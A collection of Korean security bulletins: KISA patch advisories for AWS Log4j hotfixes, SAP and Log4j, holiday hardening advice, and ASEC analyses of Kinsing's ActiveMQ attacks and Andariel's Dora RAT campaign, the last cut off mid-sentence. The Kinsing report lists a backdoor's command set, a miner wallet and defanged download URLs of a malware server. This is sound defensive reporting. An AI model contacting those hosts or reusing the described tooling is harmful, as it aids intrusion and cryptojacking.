□ 개요 o Palo Alto Network社 보안 연구원은 기존에 배포한 AWS(Amazon Web Services) Log4j 핫픽스 등에서 취약점을 발견, 추가적으로 Amazon社에서는 이를 해결한 새로운 버전의 Log4j 핫픽스 최종 보안 업데이트 공개 [1] o 공격자는 해당 취약점을 이용하여 AWS 컨테이너 탈출을 통한 host 장악, 권한 상승 등의 피해를 발생시킬 수 있으므로, 최신 버전으로 업데이트 권고 □ 설명 o CVE-2021-3100의 불안전한 수정으로 인해 발생하는 취약점 (CVE-2022-0070) ※ CVE-2021-3100 : Amazon Linux Log4j 핫픽스(log4j-cve-2021-44228-hotpatch-1.1-12 이전)에서 발생하는 권한 상승 취약점 o CVE-2021-3101의 불안전한 수정으로 인해 발생하는 취약점 (CVE-2022-0071) ※ CVE-2021-3101 : Amazon Linux hotdog 솔루션(v.1.0.1 이전)에서 발생하는 권한 상승 취약점 □ 영향 받는 버전 o Amazon Linux 기반에서 Log4j 핫픽스를 사용하는 경우 아마존 리눅스 1: log4j-cve-2021-44228-hotpatch-1.1-16.amzn1 이전 패치 아마존 리눅스 2: log4j-cve-2021-44228-hotpatch-1.1-16.amzn2 이전 패치 □ 해결 방안 o 해당 벤더사의 최신버전으로 업데이트 [2] □ 기타 문의사항 o 한국인터넷진흥원 사이버민원센터: 국번없이 118 [참고사이트] [1] https://www.bleepingcomputer.com/news/security/amazon-web-services-fixes-container-escape-in-log4shell-hotfix/ [2] https://aws.amazon.com/ko/security/security-bulletins/AWS-2022-006/ □ 작성 : 취약점분석팀
KISA SAP 제품 취약점 보안 업데이트 권고 2022-03-10
□ 개요 o SAP社는 자사 제품의 취약점을 해결한 보안 업데이트 공지 [1] o 공격자는 취약점을 악용하여 피해를 발생시킬 수 있으므로, 해당 제품을 사용하는 이용자들은 최신 버전으로 업데이트 권고 □ 설명 o SAP NetWeaver, Content Server, Web Dispatcher에서 발생하는 HTTP Request Smuggling 취약점 (CVE-2022-22536) o SAP 제품에서 발생하는 원격 코드 실행 취약점 (CVE-2021-44228) 등 4개 o SAP Focused Run에서 발생하는 인증 확인 누락 취약점 (CVE-2022-24396) o SAP Fiori launchpad에서 발생하는 크로스 사이트 스크립팅(XSS) 취약점 (CVE-2022-26101) o SAP S/4HANA에서 발생하는 정보 누출 취약점 (CVE-2022-22542) o SAP NetWeaver Enterprise Portal에서 발생하는 크로스 사이트 스크립팅(XSS) 취약점 (CVE-2022-24395) 등 2개 o SAP Financial Consolidation에서 발생하는 인증 확인 누락 취약점 (CVE-2022-26104) o SAP NetWeaver Application Server for ABAP에서 발생하는 인증 확인 누락 취약점 (CVE-2022-26102) o SAP Focused Run에서 발생하는 크로스 사이트 스크립팅(XSS) 취약점 (CVE-2022-24399) 및 정보 누출 취약점 (CVE-2022-22547) o SAP Business Objects Business Intelligence Platform에서 발생하는 정보 누출 취약점 (CVE-2022-24398) o SAPCAR에서 발생하는 서비스 거부(DoS) 취약점 (CVE-2022-26100) o SAP NetWeaver에서 발생하는 정보 누출 취약점 (CVE-2022-26103) □ 영향을 받는 버전 및 제품 영향을 받는 버전 및 제품 - CVE-ID, 영향받는 제품, 버전의 정보를 제공 CVE-ID 영향받는 제품 버전 CVE-2022-22536 SAP Web Dispatcher 7.49, 7.53, 7.77, 7.81, 7.85, 7.22EXT, 7.86, 7.87 SAP Content Server 7.53 SAP NetWeaver and ABAP Platform KERNEL 7.22, 8.04, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, KRNL64UC 8.04, 7.22, 7.22EXT, 7.49, 7.53, KRNL64NUC 7.22, 7.22EXT, 7.49 CVE-2021-44228 등 4개 SAP Work Manager 6.4, 6.5, 6.6 SAP Inventory Manager 4.3, 4.4 CVE-2022-24396 Simple Diagnostics Agent 1.0 CVE-2022-26101 Fiori Launchpad 754, 755, 756 CVE-2022-22542 SAPS/4HANA(Supplier Factsheet and Enterprise Search for Business Partner, Supplier and Customer) 104, 105, 106 CVE-2022-24395 SAP NetWeaver Enterprise Portal 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50 CVE-2022-24397 SAP NetWeaver Enterprise Portal 7.30, 7.31, 7.40, 7.50 CVE-2022-26104 SAP Financial Consolidation 10.1 CVE-2022-26102 SAP NetWeaver Application Server for ABAP 700, 701, 702, 731 CVE-2022-24399 SAP Focused Run 200, 300 CVE-2022-22547 Simple Diagnostics Agent 1.0 이상 1.58 미만 CVE-2022-24398 SAP Business Objects Business Intelligence Platform 420, 430 CVE-2022-26100 SAPCAR 7.22 CVE-2022-26103 SAP NetWeaver AS JAVA (Portal Basis) 7.50 □ 해결방안 o 제조사 홈페이지를 참고하여 최신버전으로 업데이트 □ 기타 문의사항 o 한국인터넷진흥원 사이버민원센터: 국번없이 118 [참고사이트] [1] https://dam.sap.com/mac/app/e/pdf/preview//ucQrx6G?ltr=a&rc=10 □ 작성 : 침해사고분석단 취약점분석팀
KISA SAP 제품 취약점 보안 업데이트 권고 2022-02-09
□ 개요 o SAP 社는 자사 제품의 취약점을 해결한 보안 업데이트 공지 [1] o 공격자는 취약점을 악용하여 피해를 발생시킬 수 있으므로, 해당 제품을 사용하는 이용자들은 최신 버전으로 업데이트 권고 □ 설명 o SAP NetWeaver, Content Server, Web Dispatcher에서 발생하는 HTTP Request Smuggling 취약점 (CVE-2022-22536) o SAP 제품에서 발생하는 원격 코드 실행 취약점 (CVE-2021-44228) 등 4개 o SAP Solution Manager에서 발생하는 부적절한 Segregation of Duties(SOD) 취약점 (CVE-2022-22544) o SAP NetWeaver Application Server Java에서 발생하는 HTTP Request Smuggling 취약점 (CVE-2022-22532) o SAP NetWeaver AS ABAP에서 발생하는 SQL Injection 취약점 (CVE-2022-22540) □ 영향받는 제품 영향받는 제품 - CVE-ID, 영향받는 제품, 버전의 정보를 제공 CVE-ID 영향받는 제품 버전 CVE-2022-22536 SAP Web Dispatcher 7.49, 7.53, 7.77, 7.81, 7.85, 7.22EXT, 7.86, 7.87 SAP Content Server 7.53 SAP NetWeaver and ABAP Platform KERNEL 7.22, 8.04, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, KRNL64UC 8.04, 7.22, 7.22EXT, 7.49, 7.53, KRNL64NUC 7.22, 7.22EXT, 7.49 CVE-2021-44228 등 4개 제조사 홈페이지 참고 [1] 제조사 홈페이지 참고 [1] CVE-2022-22544 SAP Solution Manager (Diagnostics Root Cause Analysis Tools) 720 CVE-2022-22532 SAP NetWeaver Application Server Java KRNL64NUC 7.22, 7.22EXT, 7.49, KRNL64UC, 7.22, 7.22EXT, 7.49, 7.53, KERNEL 7.22, 7.49, 7.53 CVE-2022-22540 SAP NetWeaver AS ABAP (Workplace Server) 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 787 □ 해결방안 o 제조사 홈페이지를 참고하여 최신버전으로 업데이트 □ 기타 문의사항 o 한국인터넷진흥원 사이버민원센터: 국번없이 118 [참고사이트] [1] https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022 □ 작성 : 침해사고분석단 취약점분석팀
KISA 설 연휴기간 사이버 공격 대비 보안 권고 사항 (상세) 2022-01-27
□ 개요 o 설 연휴 기간 전후 사이버 공격 발생에 대비하여 각 기업 보안 담당자에 내부 보안 강화 요청 ※ 최근 기업 대상 랜섬웨어 감염 및 정보유출 사고가 지속 발생하고 있어 각 기업의 철저한 보안 점검 및 대비 필요 □ 주요 기업 사고 사례 o (서버) 보안 설정이 미흡하여 악성코드 감염 및 주요 자료 유출 ① [사례1] 쉬운 패스워드를 사용하거나 접근제어 정책 없이 외부에서 원격포트(3389, 22)로 접속 ② [사례2] 내부망에 접근하기 위해 구축한 VPN 장비의 취약한 계정관리 및 보안 업데이트 미적용 ③ [사례3] 보안지원이 종료되거나 보안 업데이트가 적용되지 않은 운영체제 및 소프트웨어 사용 ④ [사례4] AD 관리자 PC의 무분별한 인터넷 사용, OS 및 소프트웨어 사용 보안 업데이트 미적용 ⑤ [사례5] DB 서버가 인터넷에 노출되고, 기본 DB계정을 사용하여 랜섬웨어 감염 o (PC) 보안 수칙을 준용하지 않아 악성코드 감염 및 주요 자료 유출 ① [사례1] 공문, 이력서, 견적서 등으로 위장한 악성메일의 첨부파일 실행 ② [사례2] 취약한 버전의 브라우저를 이용해 원격제어 악성파일이 은닉된 웹사이트 방문 ③ [사례3] 웹하드 및 P2P 등 보안이 취약한 사이트에서 파일 다운로드하여 개인정보 탈취 악성코드 감염 o (NAS) 보안 설정이 미흡하여 랜섬웨어 감염 및 주요 자료 유출 ① [사례] 접근제어 없이 공장 출하 시 설정된 기본 관리자 패스워드를 사용하거나, 보안 업데이트 미적용 o (IoT) 보안 설정이 미흡하여 악성코드 감염 및 추가 공격에 악용 ① [사례] 최초 설치 시 설정된 기본 관리자 계정을 변경하지 않고 사용하여, 디도스 악성코드에 감염 □ 보안 권고 사항 o 서버 보안 강화 방안 ① 보안 지원이 종료된 운영체제 및 소프트웨어는 신속하게 업그레이드를 수행하고, 매월 운영체제 및 주요 프로그램(메일, 웹, JAVA 등)의 보안 업데이트 확인적용 ② 기본 원격포트(22. 3389) 사용을 자제하고, OTP 등을 통한 추가 인증 강화 ③ VPN 장비를 운영하는 경우, 허가된 사용자와 단말기만 업무망에 접근할 수 있도록 설정하고 OTP 등을 통한 추가 인증 강화 ④ 다수의 서버를 운영하는 경우 내부 서버 간 원격접속이 불가능 하도록 접근 제어 설정 ⑤ AD 인프라를 운영 중인 기업의 경우, 관리자 그룹 계정의 최소화 및 관련 PC의 인터넷망 분리 운영 ⑥ 주요 관리자 PC에 대한 주기적인 보안 점검 및 인터넷망 분리 운영 ⑦ 외부에 오픈된 DB서비스(MSSQL, MYSQL 등) 접근을 차단하고, 불필요하게 외부에 오픈된 원격 접속 서비스 접근 차단 ⑧ DB 최초 설치 시 기본 관리자 패스워드는 반드시 변경 후 사용하고, 사용하지 않는 계정 비활성화 ⑨ 가상머신 운영환경을 타깃으로 하는 리눅스용 랜섬웨어 공격이 발생하고 있으니 백업 및 운영체계 강화 ☞ 특히 아래의 취약점을 이용하여 해킹사고가 발생 할 수 있으니 반드시 보안 업데이트 등 조치 필요 (1) MS 윈도우 Exchange 서버 취약점 보안 업데이트 권고 (CVE-2021-26855, 26857, 27065, 26585, 27065, 31207, 34473, 34523) (2) Apache Log4j 보안 업데이트 권고 (CVE-2021-45105, 44832, CVE-2022-23302, 23305, 23307) o PC 보안 강화 방안 ① 피싱 메일에 주의하고 본문 링크 클릭, 첨부파일 다운로드, 실행에 주의 ② 매월 운영체제 및 주요 프로그램(웹브라우저, Flash, Java 등)의 보안 업데이트 확인적용 ③ 상용 메일을 통한 주요 업무 자료 송수신 금지 ※ 불가피한 경우, OTP 설정 및 허가된 사용자 단말기 추가 등을 통해 인증 강화 ④ 웹하드·P2P 사이트를 통한 불법 다운로드 금지 o NAS 보안 강화 방안 ① 최초 설치 시 기본 관리자 패스워드는 반드시 변경 후 사용 ② 자동 업데이트를 활성화하여 최신 펌웨어 유지 ③ 인터넷을 통한 직접 접속은 차단하고, 사내망에서 운영 권고 ※ 불가피한 경우, 장비의 비밀번호 관리 및 백업, 보안 업데이트 등 철저한 관리 필요 o IoT 보안 강화 방안 ① 관리자 페이지 초기 설정 비밀번호 변경 후 사용 ② 불필요한 SSH 등 포트 사용 중지 ※ 불가피한 경우, 장비의 로그인 계정 변경(관리자 로그인 계정과 다른 값으로 설정) ☞ 특히 IP카메라, LTE모뎀, DVR 제품의 경우 필수적으로 조치 필요 o 공통 보안 강화 방안 ① 사용하지 않는 시스템은 전원을 종료하여 해킹 경로로 활용되는 것을 사전 방지 ② 중요 파일 및 문서 등은 네트워크와 분리된 오프라인 백업 권고 ③ 유추하기 어려운 패스워드(숫자, 대소문자, 특수문자 조합 8자리 이상)사용으로 관리 강화 ④ 사용하지 않는 네트워크 서비스는 비활성화하고, 인가된 관리자만 접속할 수 있도록 방화벽 등에서 접근제어설정 ⑤ 신뢰할 수 있는 백신을 설치(최신 버전 유지, 실시간 감지 적용 등)하고 정기적으로 검사 진행 o 이상 징후 포착 및 침해사고 발생 시, 한국인터넷진흥원으로 즉시 신고 ※ 'KISA 인터넷보호나라&KrCERT' 홈페이지(www.boho.or.kr) - 상담및신고- 해킹사고 ※ 한국인터넷진흥원 인터넷침해대응센터 종합상황실(02-405-4911~5, certgen@krcert.or.kr) □ 참고자료 (보호나라 - 자료실 및 보안공지) o 2021년 랜섬웨어 스페셜 리포트 - 보호나라 홈페이지 → 자료실 → 보고서 내 251번 게시물 o 사이버 위협 동향보고서(2021년 상반기) - 보호나라 홈페이지 → 자료실 → 보고서 내 248번 게시물 o AD서버 환경을 위협하는 공격패턴 분석 - 보호나라 홈페이지 → 자료실 → 보고서 내 245번 게시물 o 랜섬웨어 대응을 위한 종합 대응 가이드 - 보호나라 홈페이지 → 자료실 → 가이드 및 매뉴얼 내 32번 게시물 o 랜섬웨어 대응을 위한 안전한 정보시스템 백업 가이드 - 보호나라 홈페이지 → 자료실 → 가이드 및 매뉴얼 내 33번 게시물 o QnA 형식으로 알아보는 Apache log4j 취약점 대응 가이드 - 보호나라 홈페이지 → 자료실 → 가이드 및 매뉴얼 내 68번 게시물 o 랜섬웨어 대응을 위한 안전한 정보시스템 백업 가이드(개정본) - 보호나라 홈페이지 → 자료실 → 가이드 및 매뉴얼 내 64번 게시물 o 위 취약점 패치 권고 사항관련 보호나라 보안공지 - MS 윈도우 Exchange 서버 취약점 보안 업데이트 권고 (CVE-2021-31207, 34473, 34523, 26855, 26857, 27065, 26585) ·https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36191 (`21.8.25) ·https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35931 (`21.3.18) ·https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35930 (`21.3.8) ·https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35929 (`21.3.3) - Apache Log4j 보안 업데이트 권고 (CVE-2021-44228, 45046, 4104, 45105, 44832, CVE-2022-23302, 23305, 23307) ·https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397 (`22.1.21) ·https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 (`22.1.3) □ 작성 : 침해사고분석단 사고분석팀
KISA SAP 제품 취약점 보안 업데이트 권고 2022-01-13
□ 개요 o SAP 社는 자사 제품의 취약점을 해결한 보안 업데이트 공지 [1] o 공격자는 취약점을 악용하여 피해를 발생시킬 수 있으므로, 해당 제품을 사용하는 이용자들은 최신 버전으로 업데이트 권고 □ 설명 [1] o SAP 제품에서 발생하는 원격코드실행 취약점(CVE-2021-44228) o SAP S/4HANA에서 발생하는 다중 취약점(CVE-2022-22530, 22531) o SAP NetWeaver AS ABAP에서 발생하는 코드 삽입 취약점(CVE-2021-44235) □ 영향받는 제품 영향받는 제품 - CVE ID, 영향받는 제품, 버전의 정보를 제공 CVE ID 영향받는 제품 버전 CVE-2021-44228 제조사 홈페이지 참고 [1] 제조사 홈페이지 참고 [1] CVE-2022-22530, 22531 SAP S/4HANA 100, 101, 102, 103, 104, 105, 106 CVE-2021-44235 SAP NetWeaver AS ABAP 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755, 756 □ 해결방안 o 제조사 홈페이지를 참고하여 최신버전으로 업데이트 □ 기타 문의사항 o 한국인터넷진흥원 사이버민원센터: 국번없이 118 [참고사이트] [1] https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=596902035 □ 작성 : 침해사고분석단 취약점분석팀
KISA Apache Log4j 보안 업데이트 권고 (Update. 22-1-3 14:40) 2021-12-11
2021-12-12 : 영향 받는 버전 및 참고 사이트 추가 2021-12-13 : 1.x 버전 사용자 최신 업데이트 권고 및 버전확인방법 추가 2021-12-13 : 탐지정책 추가 2021-12-15 : CVE-2021-45046, CVE-2021-4104 추가, 대응방안 수정 2021-12-16 : 대응방안 수정 2021-12-17 : 취약점 주요내용 수정 2021-12-22 : 영향받는 버전 및 대응방안 수정 2022-1-3 : 영향받는 버전 수정 □ 개요 o Apache 소프트웨어 재단은 자사의 Log4j 2에서 발생하는 취약점을 해결한 보안 업데이트 권고[1] o 공격자는 해당 취약점을 이용하여 악성코드 감염 등의 피해를 발생시킬수 있으므로, 최신 버전으로 업데이트 권고 ※ 관련 사항은 참고사이트 [6] 취약점 대응가이드를 참고 바랍니다. ※ 참고 사이트 [4]를 확인하여 해당 제품을 이용 중일 경우, 해당 제조사의 권고에 따라 패치 또는 대응 방안 적용 ※ Log4j 취약점을 이용한 침해사고 발생시 한국인터넷진흥원에 신고해 주시기 바랍니다. □ 주요 내용 o Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)[2] o Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-45046)[7] o Apache Log4j 1.x에서 발생하는 원격코드 실행 취약점(CVE-2021-4104)[8] ※ Log4j : 프로그램 작성 중 로그를 남기기 위해 사용되는 자바 기반의 오픈소스 유틸리티 □ 영향을 받는 버전 o CVE-2021-44228 - 2.0-beta9 ~ 2.14.1 이하 ※ 취약점이 해결된 버전 제외(Log4j 2.3.1, 2.12.2, 2.12.3 및 이후 업데이트 버전 제외 ) o CVE-2021-45046 - 2.0-beta9 ~ 2.15.0 버전 ※ 취약점이 해결된 버전 제외(Log4j 2.3.1, 2.12.2, 2.12.3 및 이후 업데이트 버전 제외 ) o CVE-2021-4104 - 1.x 버전 ※ JMSAppender를 사용하지 않는 경우 취약점 영향 없음 □ 대응방안 o 제조사 홈페이지를 통해 최신버전으로 업데이트 적용 [3] ※ 제조사 홈페이지에 신규버전이 계속 업데이트되고 있어 확인 후 업데이트 적용 필요 - CVE-2021-44228, CVE-2021-45046 · Java 8 이상 : Log4j 2.17.0 이상 버전 으로 업데이트 · Java 7 : Log4j 2.12.3 이상 버전 으로 업데이트 · Java 6 : Log4j 2.3.1 이상 버전 으로 업데이트 ※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음 - CVE-2021-4104 · Java 8 : Log4j 2.17.0 이상 버전 으로 업데이트 · Java 7 : Log4j 2.12.3 이상 버전 으로 업데이트 · Java 6 : Log4j 2.3.1 이상 버전 으로 업데이트 o 신규 업데이트가 불가능할 경우 아래와 같이 조치 적용 - CVE-2021-44228, CVE-2021-45046 · JndiLookup 클래스를 경로에서 제거 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - CVE-2021-4104 · JMSAppender 사용 확인 후 코드 수정 또는 삭제 ※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전(2.x) 업데이트 적용 권고 □ 탐지정책 o 참고사이트 [6] 취약점 대응 가이드를 참고하여 탐지정책 적용 ※ 본 탐지정책은 내부 시스템 환경에 따라 다르게 동작할 수 있으며, 시스템 운영에 영향을 줄 수 있으므로 충분한 검토 후 적용 바랍니다. ※ 공개된 탐지정책(참고사이트 [5])은 우회가능성이 있으므로 지속적인 업데이트가 필요합니다. □ 침해사고 신고 o 한국인터넷진흥원 인터넷침해대응센터 종합상황실(02-405-4911~5, certgen@krcert.or.kr) o 'KISA 인터넷보호나라&KrCERT' 홈페이지(www.boho.or.kr) → 상담및신고 → 해킹 사고 □ 기타 문의사항 o 한국인터넷진흥원 사이버민원센터: 국번없이 118 [참고사이트] [1] apache 보안업데이트 현황 : https://logging.apache.org/log4j/2.x/security.html [2] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 [3] 신규버전 다운로드 : https://logging.apache.org/log4j/2.x/download.html [4] 제조사별 현황 : https://github.com/NCSC-NL/log4shell/tree/main/software [5] 탐지정책 : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules [6] 취약점 대응 가이드 : https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36390 [7] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046 [8] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104 □ 작성 : 침해사고분석단 취약점분석팀
ASEC Sharpire를 설치하는 ActiveMQ 취약점 공격 사례 (Kinsing) 2025-10-28
AhnLab SEcurity intelligence Center(ASEC)은 Kinsing 공격자가 최근까지도 알려진 취약점을 이용해 악성코드를 유포 중인 것을 확인하였다. 공격자는 ActiveMQ의 CVE-2023-46604 취약점이 공개된 이후부터 이를 공격하여 악성코드를 설치해 왔으며 리눅스뿐만 아니라 윈도우 시스템도 그 대상이다. [1] 최신 공격 사례에서 사용된 악성코드들로는 이미 알려진 XMRig나 Stager뿐만 아니라 Sharpire가 있다. Sharpire는 Powershell Empire를 지원하는 닷넷 백도어로서 공격자는 감염 시스템에 대한 제어를 탈취하는 과정에서 CobaltStrike / Meterpreter 및 Powershell Empire를 함께 사용하고 있다. 1. Kinsing (H2Miner) Kinsing은 H2Miner라고도 불리며 2020년 1월 Alibaba Cloud Security 팀에 의해 최초로 확인되었다. [2] 부적절하게 관리되거나 취약한 서비스들을 대상으로 코인 마이너를 설치하는데 새로운 취약점이 공개될 때마다 여러 공격 기법들이 추가되고 있다. Kinsing 공격자는 도커 환경의 경우 잘못된 설정을 갖는 도커 데몬 API 포트와 [3] Redis의 경우 원격 코드 실행 취약점을 공격하였다. 이외에도 CVE-2021-44228 Log4j 취약점이나 ActiveMQ의 CVE-2023-46604 취약점 사례가 알려져 있다. [4] 취약점 공격 외에도 측면 이동 과정에서 감염 시스템에 저장된 SSH 자격 증명 정보를 활용하기도 한다. [5] 2. ActiveMQ의 CVE-2023-46604 취약점 CVE-2023-46604는 오픈 소스 메시징 및 통합 패턴 서버인 Apache ActiveMQ 서버의 원격 코드 실행 취약점이다. 만약 패치되지 않은 Apache ActiveMQ 서버가 외부에 노출되어 있을 경우 공격자는 원격에서 악의적인 명령을 실행하여 해당 시스템을 장악할 수 있다. 취약점 공격은 classpath에 있는 클래스를 인스턴스화하도록 OpenWire 프로토콜에서 직렬화된 클래스 유형을 조작하는 방식으로 이루어진다. 만약 공격자가 조작된 패킷을 전송할 경우 취약한 서버에서는 패킷에 포함된 경로 즉 URL을 참고하여 클래스 XML 설정 파일을 로드한다. Apache ActiveMQ 보안 업데이트 권고 (CVE-2023-46604) [6] CVE-2023-46604는 공개된 지 얼마 되지 않아 악용되기 시작하였으며 국내 시스템들을 기준으로도 Andariel 그룹이나 HelloKitty 랜섬웨어 [7] , Mauri 랜섬웨어 등의 공격 사례가 확인되었다. [8] 3. Kinsing 공격자의 최신 공격 사례 최근 국내 취약한 ActiveMQ 서버를 대상으로 CVE-2023-46604 취약점 공격을 통해 악성코드를 유포하는 사례가 확인되었다. 일반적으로 다양한 코인 마이너 공격자들이 CVE-2023-46604 취약점을 공격하지만 이번에 확인된 Kinsing 공격자는 다양한 악성코드들이 함께 사용한 것이 특징이다. Figure 1. Stager 다운로더를 설치하는 취약한 ActiveMQ 서비스 취약한 Apache ActiveMQ의 자바 프로세스는 공격자로부터 전달받은 조작된 패킷을 참고하여 XML 설정 파일을 로드한 후 XML 설정 파일을 참고하여 지정한 명령을 실행하게 된다. 다음은 공격에 사용된 XML 설정 파일로서 msiexec 명령을 이용해 외부에서 MSI 악성코드를 설치하는 기능을 담당한다. Figure 2. 공격에 사용된 클래스 XML 설정 파일 공격 과정에서는 MSI뿐만 아니라 “mm13.exe”라는 이름의 악성코드를 설치하기도 했는데 MSI 및 “mm13.exe” 모두 다운로더 악성코드이다. 현재 기준 다운로드가 불가하여 어떠한 악성코드를 다운로드하였는지는 알 수 없지만 일반적으로 CobaltStrike나 Metasploit의 Meterpreter를 메모리에서 다운로드해 실행하는 기능을 담당하며 Stager라고도 불리는 유형이다. Figure 3. Stager의 다운로드 주소 참고로 공격에 사용된 주소에서는 리눅스 대상 악성코드들도 함께 확인되었다. 다음과 같이 상대적으로 단순한 형태의 Bash 스크립트인데 XMRig의 설정 파일에는 과거 Fortinet 보고서에서 언급된 Kinsing 공격자의 지갑 주소가 포함되어 있다. [9] Figure 4. Kinsing 공격자의 Bash 악성코드 Wallet – 1 : “linux” Password – 1 : “linux” Wallet – 2 : “89UoMhtsrpaJTvmJBbvy1cTdg38pomPFnW5Z4sniL2izcLQyGBkEGd96TcBJtzQUi6KAL5Ehe4cFpEMNdGF7tFKpJ1DqE8X” Password – 2 : “lin” 공격자의 다운로드 서버에는 이외에도 Sharpire라는 이름의 악성코드가 존재한다. [10] 오픈 소스 Post-Exploitation 프레임워크 중에는 Powershell Empire가 있는데 이름과 같이 파워쉘로 개발되었으며 다양한 공격자들에 의해 사용되고 있다. Sharpire는 Powershell Empire를 지원하는 닷넷으로 개발된 백도어이다. 공격자는 CobaltStrike 또는 Meterpreter뿐만 아니라 Sharpire를 활용해 감염 시스템을 제어하였을 것으로 추정된다. Figure 5. Sharpire의 설정 데이터 명령 기능 기본 파워쉘 명령 실행 (전체) shell 파워쉘 명령 실행 (인자) ls, dir, gci 디렉터리 조회 mv, move 파일 이동 cp, copy 파일 복사 rm, del, rmdir 파일 삭제 cd 현재 디렉터리 변경 ifconfig, ipconfig 네트워크 설정 정보 조회 ps, tasklist 프로세스 조회 route 라우팅 테이블 정보 조회 whoami, getuid 현재 사용자 조회 hostname 호스트 이름 조회 reboot, restart 시스템 재부팅 shutdown 시스템 종료 Table 1. Sharpire가 지원하는 명령 목록 4. 결론 공격자들은 패치되지 않은 취약한 Apache ActiveMQ 서비스를 대상으로 지속적으로 공격을 수행하고 있다. 확인된 공격들 중에는 Kinsing 공격자 사례가 있으며 과거처럼 코인 마이너를 설치하여 암호 화폐를 채굴하는 것이 주 목적이지만 감염 시스템을 제어하기 위한 악성코드들도 함께 확인되고 있다. Kinsing 공격자는 XMRig뿐만 아니라 CobaltStrike나 Meterpreter 그리고 Sharpire와 같은 원격 제어 도구들을 감염 시스템에 설치하고 있다. 공격자는 이를 활용해 암호 화폐 채굴뿐만 아니라 정보를 탈취하거나 랜섬웨어를 설치할 수 있다. MD5 28fb07cf6dcd072c3d0b82c60ce30bef 72a37a2fa588e013eafd695b8b5b0e61 a0c4c98a37562da3b94a9ac3f0dd56fb b512bfd19bf46dd3e735c331d768ea42 bf17b21c8e9f34a209977e0f2dce92c4 URL http[:]//gloryweb[.]vip/lin/config[.]json http[:]//gloryweb[.]vip/lin/go[.]sh http[:]//gloryweb[.]vip/lin/javarunprocess http[:]//gloryweb[.]vip/mm46[.]msi http[:]//gloryweb[.]vip[:]2086/ FQDN gloryweb[.]vip
ASEC Dora RAT을 이용한 국내 기업 대상 APT 공격 사례 분석 (Andariel 그룹) 2024-05-16
AhnLab SEcurity intelligence Center(ASEC) 에서는 최근 국내 기업 및 기관을 대상으로 한 Andariel 그룹의 APT 공격 사례를 확인하였다. 공격 대상으로 확인된 조직들은 국내 제조업, 건설 업체 및 교육 기관이었으며, 백도어뿐만 아니라 키로거, 인포스틸러 그리고 프록시 도구들이 공격에 사용되었다. 공격자는 이러한 악성코드들을 이용해 감염 시스템을 제어하고 시스템에 존재하는 데이터를 탈취할 수 있었을 것으로 추정된다. 해당 공격에서는 Andariel 그룹의 과거 공격 사례에서 확인된 악성코드들이 함께 확인되었다. 대표적으로 아래에서 다룰 백도어 악성코드인 Nestdoor가 있으며 이외에도 웹쉘이 함께 확인된 사례도 존재한다. 또한 동일한 파일은 아니지만 과거 Lazarus 그룹의 공격 사례에서 확인된 Proxy 도구가 함께 사용되기도 하였다. 1. 공격 정황 공격 과정에서 발견된 여러 정황들 가운데 직접적으로 확인된 공격 사례로 Apache Tomcat 서버를 운영 중인 웹 서버를 공격하여 악성코드를 유포한 사례가 있다. 해당 시스템은 2013년에 제작된 아파치 톰캣이 동작 중이었기 때문에 다양한 취약점 공격이 사용될 수 있는 조건이다. 공격자는 웹 서버를 공격해 백도어, 프록시 도구 등을 설치하였다. Figure 1. 아파치 톰캣을 통해 설치된 악성코드 2. 악성코드 분석 2.1. Nestdoor Nestdoor는 적어도 2022년 5월 경부터 확인되고 있는 RAT 악성코드이다. 공격자의 명령을 전달받아 감염 시스템을 제어할 수 있으며 Andariel 그룹의 공격 사례에서 지속적으로 확인되고 있다. 여기에서는 분류를 위해 수집된 이름을 기반으로 Nestdoor로 분류한다. 2022년 6월 미국 CISA에서는 VMware Horizon 제품의 Log4Shell 취약점(CVE-2021-44228)을 악용하여 악성코드를 설치하는 공격 사례들을 분석하여 공개하였다. 해당 공격 사례들 중에는 “Unidentified RAT”으로 분류된 악성코드들과 이를 메모리 상에서 실행하는 Loader 악성코드들이 존재한다. [1] [2] “Unidentified RAT”으로 분류된 악성코드들은 C++로 개발되었으며 공격자의 명령을 전달받아 파일 업로드/다운로드, 리버스 쉘, 명령 실행과 같은 악성 행위를 수행할 수 있다. 이외에도 키로깅이나 클립보드 로깅, 프록시 등 다양한 기능들을 제공하며 분석을 방해하기 위해 바이너리를 난독화한 것이 특징이다. 참고로 ASEC에서는 2022년 5월 Lazarus 그룹의 하위 그룹으로 알려진 Andariel 그룹이 VMware Horizon 제품의 Log4Shell 취약점을 악용하여 TigerRAT을 유포한 공격 사례를 공개하기도 하였다. [3] 또한 2023년 초에는 Nestdoor가 TigerRAT과 함께 공격에 사용된 사례가 확인되기도 하였으며 TigerRAT과 동일한 C&C 서버를 공유하였다. 즉 Nestdoor는 TigerRAT과 함께 국내 기업들을 대상으로 하는 공격과 Log4Shell 취약점을 악용한 공격 등 여러 공격들에 함께 사용되어 왔다. 구체적인 유포 경로는 확인되지 않았지만 2024년 초에는 OpenVPN을 위장하여 유포한 사례가 확인되기도 